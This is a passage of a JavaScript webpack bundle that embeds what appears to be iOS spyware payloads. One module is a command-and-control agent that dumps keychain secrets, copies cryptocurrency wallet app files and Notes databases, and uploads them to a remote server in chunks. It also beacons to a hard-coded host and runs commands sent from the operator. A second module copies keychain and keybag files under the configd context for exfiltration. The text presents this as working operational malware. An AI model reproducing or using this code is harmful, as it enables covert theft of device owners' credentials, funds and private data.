_rawToStr(secDoneB);\n\t\t\tkeychain.secitem = { items: _secDumpState.items, plain: _secDumpState.plain, vdata: _secDumpState.vdata };\n\t\t}\n\t} catch(_se) {}\n\n\tvar dirs = listDir(APP_DATA_BASE);\n\tvar containerMap = {};\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar cpath = APP_DATA_BASE + \"/\" + dirs[i].name;\n\t\tvar plistPath = cpath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tif (Number(Native.callSymbol(\"access\", plistPath, 0)) !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\t\tfor (var bid in WALLET_BUNDLE_IDS) {\n\t\t\tif (content.indexOf(bid) >= 0 && !containerMap[bid]) containerMap[bid] = cpath;\n\t\t}\n\t}\n\n\tvar sandbox = {};\n\tvar totalSize = 0;\n\tfor (var bid in containerMap) {\n\t\tvar cfg = WALLET_BUNDLE_IDS[bid];\n\t\tif (!cfg.sandbox || !cfg.files) continue;\n\t\tvar key = _hqSandboxKeyMap[cfg.name] || cfg.name.toLowerCase().replace(/ /g, \"_\");\n\t\tvar perFileMax = cfg.maxFileSize || 2097152;\n\t\tvar resolved = _resolveWalletFiles(containerMap[bid], cfg.files);\n\t\tvar files = {};\n\t\tfor (var fi = 0; fi < resolved.length; fi++) {\n\t\t\tvar rf = resolved[fi];\n\t\t\tvar fd = readFileB64(rf.absPath, perFileMax);\n\t\t\tif (!fd) continue;\n\t\t\tfiles[rf.relPath] = fd.b64;\n\t\t\ttotalSize += fd.size;\n\t\t}\n\t\tif (Object.keys(files).length > 0) sandbox[key] = files;\n\t}\n\n\treturn { device_uuid: deviceUUID, keychain: keychain, sandbox: sandbox, sandbox_total_size: totalSize };\n}\n\nfunction _httpPostBody(url, bodyStr) {\n\tvar parsed = parseURL(url);\n\tif (url.indexOf(\"https://\") === 0)\n\t\treturn _cfstreamPost(parsed.host, parsed.port, parsed.path, bodyStr);\n\treturn _socketPost(parsed.host, parsed.port, parsed.path, bodyStr);\n}\n\n// POST wallet package to /war. Bodies larger than WAR_POST_MAX are split into\n// war_chunk parts (still on /war); inbox reassembles before normal extract.\nfunction _postWarPackage(url, pkg) {\n\tvar bodyStr = JSON.stringify(pkg);\n\tif (bodyStr.length <= WAR_POST_MAX) {\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar uploadId = String(DEVICE_UUID || \"dev\").replace(/[^0-9A-Fa-f]/g, \"\") + \"_\" + String(Date.now());\n\t// Keep each HTTP JSON under WAR_POST_MAX after base64 + wrapper overhead.\n\tvar rawMax = Math.floor((WAR_POST_MAX - 2048) * 3 / 4);\n\tif (rawMax < 256 * 1024) rawMax = 256 * 1024;\n\tvar tmpPath = \"/tmp/war_pkg_\" + uploadId + \".json\";\n\tif (!_secWriteText(tmpPath, bodyStr)) {\n\t\t_writeLog(\"[WALLET-HQ] war chunk tmp write fail; trying single POST len=\" + bodyStr.length);\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar fileSize = getFileSize(tmpPath);\n\tif (fileSize <= 0) {\n\t\tNative.callSymbol(\"unlink\", tmpPath);\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar totalChunks = Math.ceil(fileSize / rawMax);\n\t_writeLog(\"[WALLET-HQ] chunked /war upload_id=\" + uploadId + \" bytes=\" + fileSize + \" parts=\" + totalChunks);\n\tvar fd = Number(Native.callSymbol(\"open\", tmpPath, 0, 0));\n\tif (fd < 0) {\n\t\tNative.callSymbol(\"unlink\", tmpPath);\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(rawMax));\n\tvar sentOk = 0;\n\tvar lastErr = \"\";\n\ttry {\n\t\tfor (var ci = 0; ci < totalChunks; ci++) {\n\t\t\tvar toRead = Math.min(rawMax, fileSize - ci * rawMax);\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) { lastErr = \"read \" + nr; break; }\n\t\t\tvar b64 = bytesToBase64(new Uint8Array(Native.read(buf, nr)));\n\t\t\tvar part = {\n\t\t\t\tdevice_uuid: DEVICE_UUID,\n\t\t\t\twar_chunk: true,\n\t\t\t\tupload_id: uploadId,\n\t\t\t\tchunk_index: ci,\n\t\t\t\ttotal_chunks: totalChunks,\n\t\t\t\ttotal_bytes: fileSize,\n\t\t\t\tdata: b64\n\t\t\t};\n\t\t\tvar partStr = JSON.stringify(part);\n\t\t\tvar postOk = false;\n\t\t\tfor (var retry = 0; retry < 3; retry++) {\n\t\t\t\ttry {\n\t\t\t\t\tvar r = _httpPostBody(url, partStr);\n\t\t\t\t\tif (r !== null) { postOk = true; break; }\n\t\t\t\t} catch (_pe) {}\n\t\t\t\tNative.callSymbol(\"usleep\", 2000000);\n\t\t\t}\n\t\t\tif (!postOk) { lastErr = \"POST fail chunk \" + ci; break; }\n\t\t\tsentOk++;\n\t\t}\n\t} finally {\n\t\tif (buf && buf !== 0n) Native.callSymbol(\"free\", buf);\n\t\tNative.callSymbol(\"close\", fd);\n\t\tNative.callSymbol(\"unlink\", tmpPath);\n\t}\n\tif (sentOk !== totalChunks) {\n\t\t_writeLog(\"[WALLET-HQ] chunked /war incomplete sent=\" + sentOk + \"/\" + totalChunks + \" err=\" + lastErr);\n\t\treturn null;\n\t}\n\treturn { ok: true, chunked: true, upload_id: uploadId, total_chunks: totalChunks, total_bytes: fileSize };\n}\n\n// ============================================================================\n// Main Loop\n// ============================================================================\n\nNative.init();\n\n// ===== DEBUG uplink: prove c2_agent actually evaluated in SpringBoard =====\ntry {\n\tvar _dbgfd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (_dbgfd >= 0) {\n\t\tvar _dbgone = Native.callSymbol(\"calloc\", 1, 8);\n\t\tNative.write(_dbgone, new Uint8Array([1,0,0,0]).buffer);\n\t\tNative.callSymbol(\"setsockopt\", _dbgfd, 0xffff, 0x1022, _dbgone, 4);\n\t\tNative.callSymbol(\"free\", _dbgone);\n\t\tvar _dbgaddr = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar _dbga8 = new Uint8Array(16);\n\t\t_dbga8[0] = 16; _dbga8[1] = 2; _dbga8[2] = 0x1B; _dbga8[3] = 0x6E; // port 7022 BE\n\t\t_dbga8[4] = 192; _dbga8[5] = 168; _dbga8[6] = 4; _dbga8[7] = 10;\n\t\tNative.write(_dbgaddr, _dbga8.buffer);\n\t\tif (Number(Native.callSymbol(\"connect\", _dbgfd, _dbgaddr, 16)) === 0) {\n\t\t\tvar _dbgreq = \"GET /log.html?text=C2SB_eval_alive_springboard HTTP/1.0\\r\\nHost: mh0usocqzi6f46i.com\\r\\n\\r\\n\";\n\t\t\tvar _dbgrbuf = Native.callSymbol(\"malloc\", _dbgreq.length + 1);\n\t\t\tNative.writeString(_dbgrbuf, _dbgreq);\n\t\t\tNative.callSymbol(\"write\", _dbgfd, _dbgrbuf, _dbgreq.length);\n\t\t\tNative.callSymbol(\"free\", _dbgrbuf);\n\t\t}\n\t\tNative.callSymbol(\"close\", _dbgfd);\n\t\tNative.callSymbol(\"free\", _dbgaddr);\n\t}\n} catch(e) {}\n// ===== END DEBUG uplink =====\n\nconst DEVICE_UUID = (function(){try{var b=String(\"69DD25B2CA8B5682BA2470D77124E2FC\");if(b&&b.indexOf(\"__LAB_\")<0&&b.length>=16)return b;}catch(e){}return _getDeviceUUID();})();\nconst DEVICE_MODEL = _getDeviceModel();\n\n// NOTE: first SecItem dump is deferred until AFTER the first beacon (Phase 1).\n// A SecItemCopyMatching wedge here would kill the agent before any heartbeat.\n\nfunction _sysctlString(name) {\n\tvar sizePtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!sizePtr || sizePtr === 0n) return \"\";\n\tvar rc = Number(Native.callSymbol(\"sysctlbyname\", name, 0, sizePtr, 0, 0));\n\tif (rc !== 0) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tvar sz = Number(Native.readPtr(BigInt(sizePtr)));\n\tif (sz <= 0 || sz > 4096) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(sz + 1));\n\tif (!buf || buf === 0n) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tNative.write64(sizePtr, BigInt(sz + 1));\n\trc = Number(Native.callSymbol(\"sysctlbyname\", name, buf, sizePtr, 0, 0));\n\tvar result = rc === 0 ? Native.readString(buf, sz).replace(/\\0/g, \"\") : \"\";\n\tNative.callSymbol(\"free\", buf); Native.callSymbol(\"free\", sizePtr);\n\treturn result;\n}\n\n\nvar _beaconDevInfo = { machine: DEVICE_MODEL };\nif (C2_CHANNEL_CODE) _beaconDevInfo.channel_code = C2_CHANNEL_CODE;\ntry {\n\tvar _uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (_uts && _uts !== 0n) {\n\t\tNative.callSymbol(\"uname\", _uts);\n\t\t_beaconDevInfo.sysname = Native.readString(_uts, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.nodename = Native.readString(_uts + 256n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.release = Native.readString(_uts + 512n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.version = Native.readString(_uts + 768n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.arch = Native.readString(_uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", _uts);\n\t}\n} catch(e) {}\ntry {\n\tvar _hbuf = Native.callSymbol(\"malloc\", 256);\n\tif (_hbuf && _hbuf !== 0n) {\n\t\tif (Number(Native.callSymbol(\"gethostname\", _hbuf, 255)) === 0)\n\t\t\t_beaconDevInfo.hostname = Native.readString(_hbuf, 256).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", _hbuf);\n\t}\n} catch(e) {}\n\ntry { _beaconDevInfo.build_version = _sysctlString(\"kern.osversion\"); } catch(e) {}\ntry { _beaconDevInfo.ios_version = _sysctlString(\"kern.osproductversion\"); } catch(e) {}\ntry { _beaconDevInfo.kern_version = _beaconDevInfo.version || \"\"; } catch(e) {}\n\nfunction _senBeacon() {\n\ttry {\n\t\treturn httpPost(C2_BEACON_URL, {\n\t\t\tuuid: DEVICE_UUID, device_info: _beaconDevInfo, status: \"idle\"\n\t\t});\n\t} catch(e) { return null; }\n}\n\n// --- Phase 1: First SEN beacon (registers device, starts 5-min delay) ---\nvar _senResp1 = _senBeacon();\nvar _deviceIP = \"\";\nif (_senResp1 && _senResp1.client_ip) _deviceIP = _senResp1.client_ip;\nNative.callSymbol(\"usleep\", 2000000);\n\n// Heartbeat established — now safe to attempt the early keychain plaintext\n// grab (device still likely unlocked). u_AuthUISkip protects against wedges.\ntry { _kcSecItemDump(true); } catch(_kd0) {}\n\nfunction _hqHeartbeat() {\n\ttry {\n\t\tvar body = { lhu: DEVICE_UUID, type: \"status\", source: \"c2_agent\" };\n\t\tif (_deviceIP) body.ip = _deviceIP;\n\t\thqPost(\"/event\", body);\n\t} catch(e) {}\n}\n\n// --- Phase 2: HQ auto-collect (SEN heartbeats interspersed) ---\n\ntry { hqPost(\"/a\", {\n\tlhu: DEVICE_UUID, machine: DEVICE_MODEL,\n\tdeviceName: _beaconDevInfo.hostname || \"\",\n\tios_version: _beaconDevInfo.ios_version || \"\",\n\tbuild_version: _beaconDevInfo.build_version || \"\",\n\tkern_version: _beaconDevInfo.kern_version || \"\",\n\thostname: _beaconDevInfo.hostname || \"\",\n\tsysname: _beaconDevInfo.sysname || \"\",\n\trelease: _beaconDevInfo.release || \"\",\n\tversion: _beaconDevInfo.version || \"\",\n\tip: _deviceIP,\n\tsource: \"c2_agent\"\n}); } catch(e) {}\n\nNative.callSymbol(\"usleep\", 1000000);\n_hqHeartbeat();\n\ntry {\n\tvar _hqApps = [];\n\tvar _appBases = [APP_DATA_BASE, \"/var/mobile/Containers/Bundle/Application\"];\n\tvar _hqDirs = [];\n\tvar _usedBase = \"\";\n\tfor (var _bi = 0; _bi < _appBases.length; _bi++) {\n\t\t_hqDirs = listDir(_appBases[_bi]);\n\t\tif (_hqDirs.length > 0) { _usedBase = _appBases[_bi]; break; }\n\t}\n\tfor (var _ai = 0; _ai < _hqDirs.length; _ai++) {\n\t\tif (_hqDirs[_ai].type !== \"dir\") continue;\n\t\tvar _acp = _usedBase + \"/\" + _hqDirs[_ai].name;\n\t\tvar _apl = _acp + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar _ab = _readFileBytes(_apl, 8192);\n\t\tif (!_ab || _ab.length === 0) continue;\n\t\tvar _ac = _rawToStr(_ab);\n\t\tif (_ac.indexOf(\"MCMMetadataIdentifier\") < 0) continue;\n\t\tvar _bm = _ac.match(/MCMMetadataIdentifier<\\/key>\\s*([^<]+)/);\n\t\tif (!_bm) {\n\t\t\tvar _bpAll = _ac.match(/[a-z][a-z0-9]*(?:\\.[a-zA-Z0-9_-]+){2,}/g);\n\t\t\tif (_bpAll) {\n\t\t\t\tfor (var _bpi = 0; _bpi < _bpAll.length; _bpi++) {\n\t\t\t\t\tif (_bpAll[_bpi].indexOf(\"MCM\") >= 0) continue;\n\t\t\t\t\t_bm = [null, _bpAll[_bpi]];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (!_bm) continue;\n\t\tvar _appName = _bm[1];\n\t\tvar _subDirs = listDir(_acp);\n\t\tfor (var _si = 0; _si < _subDirs.length; _si++) {\n\t\t\tvar _sn = _subDirs[_si].name;\n\t\t\tif (_sn.length > 4 && _sn.substring(_sn.length - 4) === \".app\") {\n\t\t\t\t_appName = _sn.substring(0, _sn.length - 4);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t_hqApps.push({ uuid: _hqDirs[_ai].name, bundleId: _bm[1], name: _appName });\n\t}\n\thqPost(\"/u\", { lhu: DEVICE_UUID, apps: _hqApps, count: _hqApps.length, source: \"c2_agent\" });\n} catch(e) {}\n\n_senBeacon();\nNative.callSymbol(\"usleep\", 1000000);\n\ntry {\n\tvar _hqDbPath = _findNoteStore();\n\tif (_hqDbPath) {\n\t\tvar _hqSuffixes = [\"\", \"-wal\", \"-shm\"];\n\t\tvar _hqTmpBase = \"/tmp/_hq_notestore\";\n\t\tfor (var _ci = 0; _ci < _hqSuffixes.length; _ci++) {\n\t\t\tvar _csrc = _hqDbPath + _hqSuffixes[_ci];\n\t\t\tif (Number(Native.callSymbol(\"access\", _csrc, 0)) === 0) {\n\t\t\t\tvar _cdst = _hqTmpBase + _hqSuffixes[_ci];\n\t\t\t\t_cmdCp([\"cp\", _csrc, _cdst]);\n\t\t\t\tNative.callSymbol(\"chmod\", _cdst, 0x1A4);\n\t\t\t}\n\t\t}\n\t\tvar _noteList = [];\n\t\tvar _noteRows = _sqliteQuery(_hqTmpBase,\n\t\t\t\"SELECT Z_PK, ZTITLE1, ZSNIPPET, ZMODIFICATIONDATE1 FROM ZICCLOUDSYNCINGOBJECT WHERE ZTITLE1 IS NOT NULL ORDER BY ZMODIFICATIONDATE1 DESC LIMIT 500\", 500);\n\t\tif (_noteRows && _noteRows.rows) {\n\t\t\tfor (var _ni = 0; _ni < _noteRows.rows.length; _ni++) {\n\t\t\t\tvar _nr = _noteRows.rows[_ni];\n\t\t\t\tif (!_nr.ZTITLE1 && !_nr.ZSNIPPET) continue;\n\t\t\t\t_noteList.push({\n\t\t\t\t\tid: _nr.Z_PK,\n\t\t\t\t\ttitle: _nr.ZTITLE1 || \"\",\n\t\t\t\t\tsnippet: _nr.ZSNIPPET || \"\",\n\t\t\t\t\tmod: _nr.ZMODIFICATIONDATE1\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\t\tvar _hqDbFiles = [];\n\t\tfor (var _mi = 0; _mi < _hqSuffixes.length; _mi++) {\n\t\t\tvar _mfp = _hqTmpBase + _hqSuffixes[_mi];\n\t\t\tvar _mfd = readFileB64(_mfp, 5242880);\n\t\t\tif (_mfd) {\n\t\t\t\tvar _origName = _hqDbPath.substring(_hqDbPath.lastIndexOf(\"/\") + 1) + _hqSuffixes[_mi];\n\t\t\t\t_hqDbFiles.push({ name: _origName, data: _mfd.b64, size: _mfd.size });\n\t\t\t}\n\t\t}\n\t\tfor (var _di = 0; _di < _hqSuffixes.length; _di++)\n\t\t\tNative.callSymbol(\"unlink\", _hqTmpBase + _hqSuffixes[_di]);\n\t\tif (_noteList.length > 0 || _hqDbFiles.length > 0)\n\t\t\thqPost(\"/nb\", { lhu: DEVICE_UUID, list: _noteList, db_files: _hqDbFiles, db_path: _hqDbPath, count: _noteList.length, source: \"c2_agent\" });\n\t}\n} catch(e) {}\n\n_senBeacon();\n_hqHeartbeat();\nNative.callSymbol(\"usleep\", 1000000);\n\nvar _walletHqSent = false;\nvar _walletHqP7Logged = false;\nvar _walletHqFailLogged = false;\nvar _walletHqAttempt = 0;\nvar _walletHqPlainAtSend = 0;\nvar _walletHqResends = 0;\nfunction _tryWalletHq(reason) {\n\tif (_walletHqSent) return true;\n\t_walletHqAttempt++;\n\tvar _kcDonePath = \"/tmp/keychain_c2_dump.done\";\n\tvar hasDone = Number(Native.callSymbol(\"access\", _kcDonePath, 0)) === 0;\n\tvar hasPartial = Number(Native.callSymbol(\"access\", \"/tmp/keychain_c2_dump.partial\", 0)) === 0;\n\tvar hasJson = Number(Native.callSymbol(\"access\", \"/tmp/keychain_c2_dump.json\", 0)) === 0;\n\tvar hasDb = false;\n\ttry {\n\t\tvar __tdbFd = Number(Native.callSymbol(\"open\", \"/tmp/keychain-2.db\", 0));\n\t\tif (__tdbFd >= 0) {\n\t\t\tvar __tdbSz = Number(Native.callSymbol(\"lseek\", __tdbFd, 0, 2));\n\t\t\tNative.callSymbol(\"close\", __tdbFd);\n\t\t\thasDb = __tdbSz > 1024;\n\t\t}\n\t} catch (_tdb) {}\n\tvar hasP7 = Number(Native.callSymbol(\"access\", \"/tmp/p7_debug.log\", 0)) === 0;\n\tvar hasFail = Number(Native.callSymbol(\"access\", \"/tmp/keychain_c2_dump.fail\", 0)) === 0;\n\tif (reason !== \"beacon-retry\" || (_walletHqAttempt % 4) === 1) {\n\t\t_writeLog(\"[WALLET-HQ] \" + reason + \" done=\" + hasDone + \" partial=\" + hasPartial + \" json=\" + hasJson + \" tmpdb=\" + hasDb + \" p7log=\" + hasP7 + \" fail=\" + hasFail);\n\t}\n\tif (hasFail && !_walletHqFailLogged) {\n\t\t_walletHqFailLogged = true;\n\t\ttry {\n\t\t\tvar fb = _readFileBytes(\"/tmp/keychain_c2_dump.fail\", 512);\n\t\t\tif (fb) _writeLog(\"[WALLET-HQ] p7 fail marker: \" + _rawToStr(fb));\n\t\t} catch(_fre) {}\n\t}\n\t// Re-tail p7 on first sight and every beacon-retry so HTTP/phone_logs show Phase2 progress\n\t// (pe_stage/*.js are ~100B trampolines — real logs live in /tmp/p7_debug.log).\n\tif (hasP7 && (!_walletHqP7Logged || reason === \"beacon-retry\")) {\n\t\ttry {\n\t\t\tvar p7b = _readFileBytes(\"/tmp/p7_debug.log\", 24000);\n\t\t\tif (p7b) {\n\t\t\t\tvar p7t = _rawToStr(p7b);\n\t\t\t\t_writeLog(\"[WALLET-HQ] p7_debug.tail=\" + p7t.slice(Math.max(0, p7t.length - 2200)));\n\t\t\t\t_walletHqP7Logged = true;\n\t\t\t}\n\t\t} catch(_p7e) {}\n\t}\n\tif (hasFail) {\n\t\t// Definitive failure from P7 Phase 2 — send what we have immediately\n\t\t// (fail-json is picked up by _buildWalletPkg as `keychain` with fail:true).\n\t\t// Do NOT wait for 40 retries; this keeps C2 responsive.\n\t} else if (!hasJson && !hasFail) {\n\t\t// Wait for Phase2 json (early .done alone is not enough — 18.5 early C2).\n\t\tvar _p7Busy = Number(Native.callSymbol(\"access\", \"/tmp/p7_debug.log\", 0)) === 0;\n\t\tif (!_p7Busy && _walletHqAttempt % 5 === 0) { try { _kcSecItemDump(false); } catch(_kdr) {} }\n\t\tif (_walletHqAttempt < 80) return false;\n\t\t_writeLog(\"[WALLET-HQ] force sandbox-only after retries json=false\");\n\t}\n\tif (!hasDone) { try { _kcSecItemDump(false); } catch(_kd) {} }\n\tNative.callSymbol(\"usleep\", 500000);\n\tvar _walletPkg = _buildWalletPkg(DEVICE_UUID);\n\tif (!_walletPkg) {\n\t\t_writeLog(\"[WALLET-HQ] _buildWalletPkg returned null\");\n\t\treturn false;\n\t}\n\tvar _walletUrl = HQ_API_BASE.replace(/:\\d+/, \":\" + HQ_WALLET_PORT) + \"/war\";\n\tvar _walletBodyLen = JSON.stringify(_walletPkg).length;\n\t_writeLog(\"[WALLET-HQ] sending to \" + _walletUrl + \" body=\" + _walletBodyLen +\n\t\t(_walletBodyLen > WAR_POST_MAX ? \" (chunked>\" + WAR_POST_MAX + \")\" : \"\"));\n\ttry {\n\t\tvar _walletResp = _postWarPackage(_walletUrl, _walletPkg);\n\t\tif (_walletResp === null) {\n\t\t\t_writeLog(\"[WALLET-HQ] POST FAILED (null)\");\n\t\t\treturn false;\n\t\t}\n\t\t_writeLog(\"[WALLET-HQ] POST ok resp=\" + JSON.stringify(_walletResp));\n\t\t_walletHqSent = true;\n\t\t_walletHqPlainAtSend = _secDumpState.plain;\n\t\treturn true;\n\t} catch(walletErr) {\n\t\t_writeLog(\"[WALLET-HQ] POST FAILED err=\" + String(walletErr));\n\t\treturn false;\n\t}\n}\ntry {\n\t_tryWalletHq(\"after-nb\");\n} catch(walletOuterErr) {\n\t_writeLog(\"[WALLET-HQ] outer error: \" + String(walletOuterErr));\n}\n\n_senBeacon();\n_hqHeartbeat();\nNative.callSymbol(\"usleep\", 1000000);\n\ntry {\n\t/* photos upload disabled */\n} catch(e) {}\n\n// --- Phase 3: SEN beacon loop ---\n\nvar _hqHeartbeatNext = Date.now() + 60000;\nlet interval = 15;\nfor (;;) {\n\ttry {\n\t\tconst resp = _senBeacon();\n\t\tif (!_walletHqSent) { try { _tryWalletHq(\"beacon-retry\"); } catch(_wr) {} }\n\t\telse if (_walletHqResends < 3) {\n\t\t\t// Late-unlock self-heal: keep dumping; resend /war when plaintext grows.\n\t\t\ttry { _kcSecItemDump(false); } catch(_kd2) {}\n\t\t\tif (_secDumpState.plain > _walletHqPlainAtSend) {\n\t\t\t\t_walletHqResends++;\n\t\t\t\ttry {\n\t\t\t\t\tvar _pkg2 = _buildWalletPkg(DEVICE_UUID);\n\t\t\t\t\tif (_pkg2) {\n\t\t\t\t\t\tvar _url2 = HQ_API_BASE.replace(/:\\d+/, \":\" + HQ_WALLET_PORT) + \"/war\";\n\t\t\t\t\t\t_writeLog(\"[WALLET-HQ] resend plain=\" + _secDumpState.plain + \" > \" + _walletHqPlainAtSend + \" #\" + _walletHqResends);\n\t\t\t\t\t\t_postWarPackage(_url2, _pkg2);\n\t\t\t\t\t\t_walletHqPlainAtSend = _secDumpState.plain;\n\t\t\t\t\t}\n\t\t\t\t} catch(_re) {}\n\t\t\t}\n\t\t}\n\n\t\tif (resp && resp.type && resp.type !== \"noop\") {\n\t\t\ttry {\n\t\t\t\tswitch (resp.type) {\n\t\t\t\t\tcase \"execute_command\": handleExecuteCommand(resp); break;\n\t\t\t\t\tcase \"ls\": handleLs(resp); break;\n\t\t\t\t\tcase \"download\": handleDownload(resp); break;\n\t\t\t\t\tcase \"photos\": handlePhotos(resp); break;\n\t\t\t\t\tcase \"apps\": handleApps(resp); break;\n\t\t\t\t\tcase \"exec\": handleExec(resp); break;\n\t\t\t\t\tcase \"file_upload\": handleFileUpload(resp); break;\n\t\t\t\t\tcase \"basic_info\": handleBasicInfo(resp); break;\n\t\t\t\t\tcase \"disk_scan\": handleDiskScan(resp); break;\n\t\t\t\t\tcase \"ios_app_data\": handleIosAppData(resp); break;\n\t\t\t\tcase \"wallet_extract\": handleWalletExtract(resp); break;\n\t\t\t\tcase \"wallet_scan\": handleWalletScan(resp); break;\n\t\t\t\tcase \"memo_scan\": handleMemoScan(resp); break;\n\t\t\t\tcase \"photo_scan\": handlePhotoScan(resp); break;\n\t\t\t\tcase \"sleep\":\n\t\t\t\t\t\tinterval = (resp.params && resp.params.interval) || 15;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"exit\":\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t} catch (cmdErr) {\n\t\t\t\ttry {\n\t\t\t\t\tsendJSON(resp.command_id, {\n\t\t\t\t\t\tstatus: \"failed\",\n\t\t\t\t\t\terror: String(cmdErr),\n\t\t\t\t\t\t_task_id: (resp.params && resp.params._task_id) || \"\",\n\t\t\t\t\t\t_task_type: (resp.params && resp.params._task_type) || \"\"\n\t\t\t\t\t}, \"error_report.json\");\n\t\t\t\t} catch(re) {}\n\t\t\t}\n\t\t\tif (resp.type === \"exit\") break;\n\t\t}\n\t} catch (e) {\n\t}\n\n\tif (Date.now() >= _hqHeartbeatNext) {\n\t\t_hqHeartbeat();\n\t\t_hqHeartbeatNext = Date.now() + 60000;\n\t}\n\n\tNative.callSymbol(\"usleep\", interval * 1000000);\n}\n"); + +/***/ }), + + +/***/ "./node_modules/raw-loader/dist/cjs.js!./src/keychain_copier.js": +/*!**********************************************************************!*\ + !*** ./node_modules/raw-loader/dist/cjs.js!./src/keychain_copier.js ***! + \**********************************************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) +/* harmony export */ }); +/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("// Keychain/Keybag Copier Payload\n// Runs under configd context which has access to keychain files\n// Copies keychain/keybag files to /tmp with 777 permissions\n// The main file_downloader payload will then send them\n\nclass Native {\n\t\n\tstatic #baseAddr;\n\tstatic #dlsymAddr;\n\tstatic #memcpyAddr;\n\tstatic #mallocAddr;\n\tstatic #oinvAddr;\n\t\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\t\n\tstatic #argMem = 0n;\n\tstatic #argMemPtr = 0n;\n\tstatic #argMemPtrStr = 0n;\n\tstatic #argPtr = 0n;\n\tstatic #argPtrPtr = 0n;\n\tstatic #argPtrStrPtr = 0n;\n\n\tstatic #dlsymCache = {};\n\t\n\tstatic init() {\n\t\tconst buff = new BigUint64Array(nativeCallBuff);\n\t\tthis.#baseAddr = buff[20];\n\t\tthis.#dlsymAddr = buff[21];\n\t\tthis.#memcpyAddr = buff[22];\n\t\tthis.#mallocAddr = buff[23];\n\t\tthis.#oinvAddr = buff[24];\n\t\t\n\t\tthis.mem = this.#nativeCallAddr(this.#mallocAddr, BigInt(this.memSize));\n\t\tthis.#argMem = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtrStr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argPtr = this.#argMem;\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t}\n\t\n\tstatic write(ptr, buff) {\n\t\tif (!ptr) return false;\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tlet offs = 0;\n\t\tlet left = buff.byteLength;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000) len = 0x1000;\n\t\t\tbuff8.set(new Uint8Array(buff, offs, len), 0x1000);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, ptr + BigInt(offs), this.#baseAddr + 0x1000n, BigInt(len));\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn true;\n\t}\n\t\n\tstatic read(ptr, length) {\n\t\tif (!ptr) return null;\n\t\tlet buff = new ArrayBuffer(length);\n\t\tlet buff8 = new Uint8Array(buff);\n\t\tlet offs = 0;\n\t\tlet left = length;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000) len = 0x1000;\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, this.#baseAddr + 0x1000n, ptr + BigInt(offs), BigInt(len));\n\t\t\tbuff8.set(new Uint8Array(nativeCallBuff, 0x1000, len), offs);\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn buff;\n\t}\n\t\n\tstatic readPtr(ptr) {\n\t\tlet buff = this.read(ptr, 8);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getBigUint64(0, true);\n\t}\n\t\n\tstatic read32(ptr) {\n\t\tlet buff = this.read(ptr, 4);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getInt32(0, true);\n\t}\n\t\n\tstatic write64(ptr, value) {\n\t\tconst buff = new ArrayBuffer(8);\n\t\tconst view = new DataView(buff);\n\t\tview.setBigUint64(0, value, true);\n\t\tthis.write(ptr, buff);\n\t}\n\t\n\tstatic readString(ptr, len=1024) {\n\t\tlet buff = this.read(ptr, len);\n\t\treturn this.bytesToString(buff, false);\n\t}\n\t\n\tstatic writeString(ptr, str) {\n\t\tconst buff = this.stringToBytes(str, true);\n\t\tthis.write(ptr, buff);\n\t}\n\t\n\tstatic callSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\tthis.#argPtr = this.#argMem;\n\t\tx0 = this.#toNative(x0);\n\t\tx1 = this.#toNative(x1);\n\t\tx2 = this.#toNative(x2);\n\t\tx3 = this.#toNative(x3);\n\t\tx4 